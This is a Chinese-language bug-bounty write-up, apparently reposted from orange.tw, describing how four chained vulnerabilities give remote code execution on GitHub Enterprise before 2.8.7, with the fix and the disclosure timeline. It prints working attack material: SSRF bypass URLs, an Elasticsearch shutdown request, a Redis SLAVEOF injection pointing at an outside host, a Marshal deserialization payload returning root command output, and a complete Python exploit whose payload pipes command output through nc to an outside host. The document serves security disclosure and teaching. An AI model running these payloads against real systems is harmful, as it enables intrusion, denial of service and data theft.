挖洞經驗 | 看我如何綜合利用4個漏洞實現GitHub Enterprise遠程代碼執行

挖洞經驗 | 看我如何綜合利用4個漏洞實現GitHub Enterprise 遠程代碼執行

大家好,距離上次漏洞披露已有半年之餘,在這篇文章中,我將向大家展示如何通過4個漏洞完美實現GitHub Enterprise的RCE執行,該RCE實現方法與服務器端請求僞造技術(SSRF)相關,技術稍顯過時但綜合利用威力強大。最終,該RCE漏洞被GitHub官方認定爲3週年衆測項目的最佳漏洞,我也因此獲得了$12500美元賞金。

在我今年受邀參加的BlackHat大會演講PPT中,有更多關於SSRF技術的深度剖析,請大家捧場觀看《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages》!這也是我第一次在這般高大上場合的英文演講,非常難忘!下面我們言歸正傳,一起來說說這個GitHub Enterprise企業版RCE漏洞的實現方法:

說明

在我上一次對GitHub Enterprise SQL注入漏洞的發現中,曾提及利用Ruby代碼破解GitHub混淆保護機制和發現SQL注入漏洞的方法,之後,就有一些優秀的漏洞挖掘者及時關注GitHub Enterprise並發現了多個上等漏洞,如:

The road to your codebase is paved with forged assertions by ilektrojohn

GitHub Enterprise Remote Code Execution by iblue

我表示後悔沮喪,爲什麼我就發現不了呢!?所以,接下來我打算努力去挖掘那些別人想像不到的高危漏洞。

挖洞開始

第1個漏洞 – 表面無用的SSRF漏洞

在研究GitHub Enterprise程序時,我發現了一個名爲WebHook的有趣功能,它能在某些特定GIT命令執行時自定義HTTP回調。如你可定義如下回調URL:

https://<host>/<user>/<repo>/settings/hooks/new

並通過提交文件觸發執行它,對此,GitHub Enterprise會利用一個HTTP請求提示你。實際的Payload和執行請求如下:

Payload URL:

http://orange.tw/foo.php

回調請求(Callback Request):

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...

另外,由於GitHub Enterprise使用Ruby Gem的faraday庫來獲取外部資源,並通過Gem的faraday-restrict-ip-addresses功能來防止用戶請求內部服務。這個Gem功能就像一個黑名單機制,但我們可以通過RFC 3986定義的稀有IP地址格式(Rare IP Address Formats)來繞過它,想想,在Linux系統中,0代表的是localhost,所以有以下PoC:

http://0/

OK,現在我們的一個SSRF漏洞成型了,但卻發揮不了作用,爲什麼呢?這是因爲該SSRF漏洞存在以下幾方面限制:

只支持POST方法

只允許HTTP和HTTPS方式

不產生302重定向

faraday中不存在CR-LF命令注入

無法對POST數據和HTTP頭信息進行控制

我們唯一能控制的就是其中的Path(路徑)部分。但值得一提的是,該SSRF漏洞可導致拒絕服務攻擊(DoS)。

由於GitHub Enterprise的9200端口爲綁定了一個ElasticSearch搜索服務,當使用關機命令時,該ElasticSearch服務不會對POST數據進行檢查,因此,我們可隨意對它的REST-ful API接口進行操作,可有如下DoS的PoC:

http://0:9200/_shutdown/

第2個漏洞 – 內部Graphite服務的SSRF

第1個SSRF漏洞利用存在諸多限制,所以我繼續測試其內部服務看是否能爲我所用。這還真是個大工程,因爲其中包含了數種HTTP服務,每種服務都由C、C++、Go、Python和Ruby分別實現。在經過數天的研究之後,我發現其中一個8000端口名爲Graphite的服務,該服務負責高度擴展地向用戶實時顯示系統當前狀態,其爲Python編寫的開源項目(可點此下載源碼)。

在對Graphite源碼的分析後,我又快速發現了另外一個SSRF漏洞,它存在於以下文件

webapps/graphite/composer/views.py

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

從上述代碼可以看到,Graphite服務會接收用戶輸入的url地址然後對該地址進行獲取利用!所以,這樣的話,我們就可以利用第1個SSRF漏洞來觸發這第2個SSRF漏洞,最後還可將這兩個漏洞組合成一個SSRF執行鏈。合成的SSRF執行鏈Payload如下:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

第二個SSRF漏洞的請求:

$ nc -vvlp 12345
...
GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK,現在我們已經成功地將基於POST的SSRF漏洞改造成了基於GET的SSRF漏洞了。但仍然不能直接實現有效的漏洞利用,再挖挖看!

第3個漏洞 – Python語言的CR-LF命令注入

可以從Graphite源碼中看到,Graphite使用Python的httplib.HTTPConnection方法來獲取外部資源。在經過一些研究測試後,我發現httplib.HTTPConnection方法中竟存在一個CR-LF命令注入漏洞!這樣的話,我們就可以在HTTP協議中嵌入惡意Payload了。

CR-LF注入PoC:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo
:

$ nc -vvlp 12345
...
GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

該注入漏洞在整個漏洞利用鏈中發揮的作用非常關鍵。現在,我就可以在這個SSRF漏洞執行鏈中引入其他協議了,比如,如果想拿Redis下手,可以嘗試使用下列Payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

說明:由於Redis的SLAVEOF命令可以允許執行帶外數據,所以,這對某些Blind-SSRF實現非常有效。

現在漏洞利用思路已經柳暗花明,但一些可引入協議還存在問題,如:

SSH、MySQL和SSL協議會失效

由於Python2版本原因,第2個SSRF漏洞所使用的Payload只允許0×00到0x8F的字節數據通過

順便提下,還有很多利用HTTP引入協議的利用方法,如基於Linux Glibc功能的SSL SNI引入協議,以及CVE-2016-5699的Python標註頭注入等,具體參看我的BlackHat演講PPT

第4個漏洞 – 封裝模塊存在反序列化漏洞

現在的問題是,我該選擇哪個協議進行引入呢?另外,我還花費了大把時間來測試控制Redis或Memcached之後可以觸發的漏洞。

在對大量源碼的分析過程中,我對GitHub在Memcached中存儲Ruby對象的機制覺得好奇,一番研究後發現,GitHub Enterprise使用Ruby Gem的Memcached方式來處理緩存,而其通過Marshal模塊進行封裝。這下好了,大家知道Marshal模塊本來就不安全且存在反序列化漏洞(點此參考)。更上一層樓了!我們可以使用前述的SSRF漏洞執行鏈來把惡意Ruby對象存儲在Memcached中,當GitHub要獲取緩存時,Ruby Gem memcached就會自動執行反序列化操作,這種效果就會是:哇,遠程代碼執行!

GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails
irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true
irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"
irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"
irb(main):005:0> code = "`id`"
=> "`id`"
irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult"
irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true
irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"

回過頭來,我們總結梳理一下整個漏洞利用過程:

第1個SSRF漏洞,用來繞過WebHook的保護機制

第2個SSRF漏洞,存在於Graphite服務中

結合第1個和第2個SSRF漏洞,組成SSRF漏洞執行鏈

發現SSRF執行鏈中的CR-LF命令注入漏洞

利用Memcached方式的Marshal反序列化漏洞,注入惡意Marshal對象

觸發遠程代碼執行

最終PoC如下:

挖洞經驗 | 看我如何綜合利用4個漏洞實現GitHub Enterprise 遠程代碼執行

視頻演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html

Exploit代碼

#!/usr/bin/python
from urllib import quote
''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
'''
marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult'
payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    ''
]
payload = map(quote, payload)
url = 'http://0:8000/composer/[email protected]&url=http://127.0.0.1:11211/'
print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by [email protected]"
print '-'*10 + '\n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:

https://ghe-server/:user/:repo/settings/hooks

Triggering RCE from:

https://ghe-server/search?q=ggggg&type=Repositories

'''

修復措施

GitHub採取了以下修復措施:

增強了Gem的faraday-restrict-ip-addresses功能

採用了自定義Django中間件來防止攻擊者從外部訪問http://127.0.0.1:8000/render/

加強iptables規則,限制User-Agent: GitHub-Hookshot訪問模式

漏洞報送進程

2017年01月23日23:22    通過HackerOne平臺將漏洞上報GitHub

2017年01月23日23:37    GitHub進行漏洞分類

2017年01月24日04:43    GitHub確認漏洞,並回應正在修復

2017年01月31日14:01    更新版本的GitHub Enterprise 2.8.7發佈

2017年02月01日01:02    GitHub回覆稱漏洞成功修復

2017年02月01日01:02    收到GitHub獎勵的$7500刀漏洞賞金

2017年03月15日02:38    GitHub認定該漏洞爲年度最佳漏洞,並再次向我獎勵了$5000刀

*參考來源:orange.tw

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章